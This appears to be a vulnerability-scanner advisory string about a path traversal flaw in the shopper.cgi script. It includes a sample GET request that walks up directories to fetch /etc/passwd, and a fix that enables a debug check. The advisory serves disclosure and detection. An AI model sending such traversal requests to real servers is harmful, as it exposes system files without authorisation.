(shopper.cgi) allows for retrieval of arbitrary files
from the web server. Both Versions 1.0 and 2.0 are
affected.

Example:
    GET /cgi-bin/shopper.cgi?newpage=../../../../etc/passwd

will return /etc/passwd.

Solution: Uncomment the #$debug=1 variable in the script
so that it will check for, and disallow, viewing of
arbitrary files.

Risk factor : Serious";
